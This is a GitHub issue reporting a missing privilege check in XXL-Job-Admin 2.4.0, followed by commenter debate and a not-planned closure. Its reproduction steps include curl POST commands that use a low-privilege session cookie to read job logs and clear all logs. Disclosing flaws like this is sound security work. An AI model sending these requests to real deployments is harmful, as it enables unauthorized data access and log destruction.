Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Permission Vulnerability of Path /xxl-job-admin/joblog/clearLog & /xxl-job-admin/joblog/logDetailCat #3330

Closed
N0th1n3 opened this issue Nov 8, 2023 · 3 comments

Comments

@N0th1n3
Copy link

N0th1n3 commented Nov 8, 2023

Environment

MySQL 5.7.44, XXL-Job-Admin 2.4.0
Virtual Machine 1: Ubuntu 22.04.3 (as XXL-Job-Admin)
Virtual Machine 2: Ubuntu 22.04.3 (as XXL-Job-Executor)

Vulnerability Information

It was found that the direct query of xxl-job-admin/joblog/clearLog and /xxl-job-admin/joblog/logDetailPage does not validate user privilege and induces risk of sensitive information leakage and loss.

Steps to reproduce the behavior

Step 1: Create a normal user without any privilege inside the web console as below
image

Step 2: Retrieve the cookie for the user
image

Step 3: Run the following command for testing log query
curl -v -X POST "http://<IP address:port>/xxl-job-admin/joblog/logDetailCat" --cookie "XXL_JOB_LOGIN_IDENTITY=<normal user cookie>" -d 'logId=9&fromLineNum=1'
image
It can show the successful log query and return 200 status.

Step 4: Run the following command for log clearing
curl -v -X POST "http://<IP address:port>/xxl-job-admin/joblog/clearLog" --cookie "XXL_JOB_LOGIN_IDENTITY=<normal user cookie>" -d 'jobGroup=0&jobId=0&type=9'
image
it will return 200 status.

Step 5. Show the log in the console. It will show that all log is cleared successfully by normal user.
image

@75ACOL
Copy link

75ACOL commented Nov 23, 2023

Create an unprivileged user and get its cookie, which I don't think is easy for attackers.

@N0th1n3
Copy link
Author

N0th1n3 commented Nov 23, 2023

Agree. The assumption of the attack is that you gained an unprivileged account.

@jiakun02
Copy link

那2个接口本来就是提供可读的吧,就像linux系统/etc/passwd对所有用户可执行一样,如果这也算漏洞,那我假设我已经用普通用户ssh登录了服务器,然后能读取/ etc/passwd,那我现在说linux系统有漏洞,我去呼叫Torvalds

@xuxueli xuxueli closed this as not planned Won't fix, can't repro, duplicate, stale Jan 8, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants